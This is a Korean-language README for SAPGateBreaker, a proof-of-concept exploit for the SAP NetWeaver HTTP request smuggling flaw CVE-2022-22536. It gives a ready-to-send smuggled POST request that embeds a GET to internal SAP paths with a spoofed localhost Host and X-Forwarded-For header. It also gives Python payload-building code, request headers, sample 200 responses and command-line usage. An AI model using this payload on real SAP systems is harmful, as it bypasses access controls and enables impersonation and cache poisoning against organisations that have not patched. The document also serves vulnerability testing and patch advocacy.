
SAPGateBreaker는 SAP NetWeaver의 치명적인 HTTP 요청 스머글링 취약점인 CVE-2022-22536에 대한 PoC 익스플로잇입니다. 조작된 Content-Length 기반 페이로드를 사용하여 ICM과 백엔드 서비스 간의 요청 파싱을 비동기화함으로써 ACL을 우회하는 방법을 시연합니다.
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 및 SAP Web Dispatcher는 요청 스마글링 및 요청 연결에 취약합니다. 인증되지 않은 공격자는 피해자의 요청 앞에 임의의 데이터를 추가할 수 있습니다. 이러한 방식으로 공격자는 피해자를 가장하여 기능을 실행하거나 중간 웹 캐시를 오염시킬 수 있습니다. 성공적인 공격은 시스템의 기밀성, 무결성 및 가용성을 완전히 손상시킬 수 있습니다.
SAPGateBreaker는 SAP NetWeaver의 중요한 HTTP 요청 스마글링 취약점인 CVE-2022-22536에 대한 PoC 익스플로잇입니다. 이 도구는 조작된 Content-Length 기반 페이로드를 사용하여 ICM과 백엔드 서비스 간의 요청 구문 분석을 비동기화하여 ACL을 우회하는 방법을 보여줍니다.

CVE-2022-22536으로 식별된 취약점은 SAP NetWeaver Application Server의 중요한 결함으로, 설치 환경을 HTTP 요청 스마글링 공격에 노출시킵니다. CVSS 점수 9.8의 이 취약점은 Java 및 ABAP 스택 모두에 영향을 미치며, 공격자가 액세스 제어 메커니즘을 우회하고 내부 네트워크에 있는 것처럼 내부 애플리케이션과 상호 작용할 수 있게 합니다.
HTTP 요청 스마글링 이해하기
HTTP 요청 스마글링(HRS)은 웹 인프라의 서로 다른 구성 요소(일반적으로 프록시, 로드 밸런서, 백엔드 서버)가 HTTP 요청 간의 경계를 해석하는 방식의 차이를 악용하는 고급 기술입니다. Content-Length 및 Transfer-Encoding과 같은 헤더를 조작함으로써 공격자는 백엔드 서버가 예상하는 것과 동기화되지 않은 악성 요청을 "밀반입"할 수 있습니다.
본질적으로, 프론트엔드 서버와 백엔드 서버가 하나의 요청이 끝나고 다음 요청이 시작되는 지점에 대해 불일치가 있을 때, 공격자는 더 높은 신뢰로 처리될 두 번째 숨겨진 요청을 주입할 수 있습니다. 이는 종종 WAF 우회, 캐시 오염, ACL 우회와 같은 보안 우회로 이어집니다.
CVE-2022-22536의 특성
SAP의 ICM(Internet Communication Manager)은 조작된 HTTP 요청을 부적절하게 구문 분석하여 밀반입된 요청이 내부 서비스에 도달할 수 있게 합니다. 이는 내부 서비스에 대한 직접 액세스가 제한된 분할 아키텍처에서 특히 영향력이 큽니다. 이 취약점을 악용하면 공격자는 신뢰할 수 있는 내부 네트워크에서 시작된 것처럼 보이는 요청을 발행할 수 있습니다.
이 취약점은 페이로드가 HTTP 요청 끝에 대한 상충되는 해석을 악용할 때 나타납니다. 일반적으로 Transfer-Encoding: chunked 헤더를 주입하거나 Content-Length 필드를 조작하여 비동기화를 유발합니다.
초기 페이로드 실패 및 청크 인코딩 거부
테스트 중에 정식 청크 스마글링 기술을 사용하는 페이로드는 SAP ICM에서 408 Request Timeout 응답을 초래했습니다. 이 동작은 SAP의 HTTP 스택이 예상된 방식으로 Transfer-Encoding: chunked를 지원하지 않아 전통적인 청크 기반 비동기화를 방지함을 나타냈습니다.
결과적으로 익스플로잇 방법론은 비동기화를 위해 Content-Length 헤더를 사용하는 방향으로 전환되었습니다. 빈 청크 페이로드 뒤에 유효한 보조 HTTP 요청이 오는 조작된 요청이 성공적으로 요청 경계를 우회했습니다. 이 대체 전략은 내부 액세스 제어를 우회하는 데 효과적임이 입증되었습니다.
최종 익스플로잇 전략 및 코드 구현
작동하는 익스플로잇은 Content-Length 헤더가 포함된 POST 요청을 공개 엔드포인트(/sap/admin/public/default.html)로 보내고, 그 뒤에 내부 리소스에 도달하기 위한 내장 GET 요청을 포함합니다.
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
이로 인해 성공적인 내부 액세스가 발생합니다:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
구현은 일반적으로 제한된 내부 SAP URL 목록을 반복합니다. 직접 액세스를 통해 수신된 상태 코드와 밀반입된 요청을 통해 액세스할 때 수신된 상태 코드 간의 비교가 이루어집니다. 내부 액세스가 200을 반환하는 경우(직접 액세스가 403 또는 404를 반환하는 동안) 이는 스마글링 기술이 성공적으로 내부 액세스 제어를 우회했음을 나타냅니다.
페이로드 구축 로직:
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
공격은 밀반입된 페이로드를 포함하는 조작된 POST 요청을 사용하여 실행됩니다:
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
관찰된 결과
여러 테스트 사례에서 일반적으로 403 Forbidden 또는 404 Not Found를 반환했던 /sap/public/bc/icf/info 또는 /heapdump/와 같은 엔드포인트가 밀반입된 요청을 통해 액세스했을 때 200 OK로 응답했습니다. 이는 SAP의 액세스 제어를 성공적으로 우회했음을 보여줍니다.
도구의 출력에는 전송된 페이로드와 응답 헤더가 모두 포함되어 정확한 포렌식 검증이 가능했습니다:
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
일반 요청:


익스플로잇 요청:


결론
CVE-2022-22536은 현대 엔터프라이즈 소프트웨어 스택에서 HTTP 요청 스마글링이 제기하는 지속적인 위협을 강조합니다. 제시된 개념 증명은 기본 취약점의 데모이며 검증 및 방어 테스트를 위한 도구 역할을 합니다.
관리자는 SAP 보안 업데이트를 적용하고 잘못된 HTTP 요청 전파를 방지하기 위해 적절한 리버스 프록시 보호를 구현할 것을 강력히 권고합니다.
CVE-2022-22536에 대한 자세한 내용은 다음에서 확인할 수 있습니다: https://nvd.nist.gov/vuln/detail/CVE-2022-22536
SAPGateBreaker 익스플로잇
SAPGateBreaker는 SAP NetWeaver Application Server의 중요한 HTTP 요청 스마글링 취약점인 CVE-2022-22536에 대한 테스트를 자동화하는 독립형 Python 도구입니다.
사용법
python3 sapgatebreaker.py -u http://<target-host>:<port> [--verbose]
인수:
-u, --url: 대상 URL (예: http://172.32.22.7:50000)-v, --verbose: 각 요청 및 응답에 대한 상세 헤더 및 본문 출력을 활성화합니다기능:
poc.txt에 기록합니다면책 조항
이 도구는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 명시적 허가 없이 시스템에 대해 무단 사용하는 것은 엄격히 금지되며 관련 법률을 위반할 수 있습니다.